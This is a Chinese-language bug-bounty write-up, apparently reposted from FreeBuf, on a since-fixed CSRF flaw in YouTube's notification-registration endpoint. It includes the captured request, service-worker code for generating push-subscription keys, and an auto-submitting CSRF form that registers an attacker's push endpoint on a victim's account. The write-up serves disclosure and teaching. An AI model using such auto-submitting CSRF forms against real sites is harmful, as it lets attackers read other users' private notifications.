挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息

isnull   ·   发表于 2019-04-27 11:20:45   ·   漏洞文章


大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享。


从POST请求中发现端倪


某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:


POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--


乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。


分析Service Worker 服务工作线程


深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。

Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。

也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。


构造CSRF攻击框架


到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。

index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Push Demo</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />
    <script src="index.js"></script>
</head>
<body>
    <h1>Hello World</h1>
    <button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:const check = () => {
  if (!('serviceWorker' in navigator)) {
    throw new Error('No Service Worker support!')
  }
  if (!('PushManager' in window)) {
    throw new Error('No Push API Support!')
  }
}const registerServiceWorker = async () => {
  const swRegistration = await navigator.serviceWorker.register('sw.js')
  return swRegistration
}const requestNotificationPermission = async () => {
  const permission = await window.Notification.requestPermission()
  if (permission !== 'granted') {
    throw new Error('Permission not granted for Notification')
  }
}const main = async () => {
  check()
  const swRegistration = await registerServiceWorker()
  const permission = await requestNotificationPermission()
}

sw.js:

self.addEventListener('activate', async () => {   console.log("Hello");
      self.registration.pushManager.subscribe()
  .then(function(subscription) {
          console.log(JSON.stringify(subscription));
  })
  .catch(function(e) {
    console.log(e);
  });
})
self.addEventListener("push", function(event) {
  if (event.data) {
    console.log("Push event!! ", event.data.text());
    showLocalNotification("Yolo", event.data.text(),  self.registration);
  } else {
    console.log("Push event but no data");
  }
});const showLocalNotification = (title, body, swRegistration) => {
  const options = {
    body
    // here you can add more properties like icon, image, vibrate, etc.  };
  swRegistration.showNotification(title, options);
};


这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。


在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。


localhost.png

综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:


<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">        <input type="text" name="device_id" value="replace">        <input type="text" name="permission" value="granted">                <input type="text" name="endpoint" value="replace">                <input type="text" name="p256dh_key" value="replace=">                <input type="text" name="auth_key" value="replace">        <input type="submit">        <script type="text/javascript">document.csrf.submit();</script></form></html>


让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:



漏洞上报后,谷歌在半小时之后就给了我回复,称漏洞有效,会尽快走完验证修复流程,并会及时给我后续通知。半个多月后,谷歌回复称修复工作已经完成,漏洞按其VRP项目核定,达到$3133.70美金的奖励。


转自freebuf

打赏我,让我更有动力~

0 条回复   |  直到 2019-4-27 | 991 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.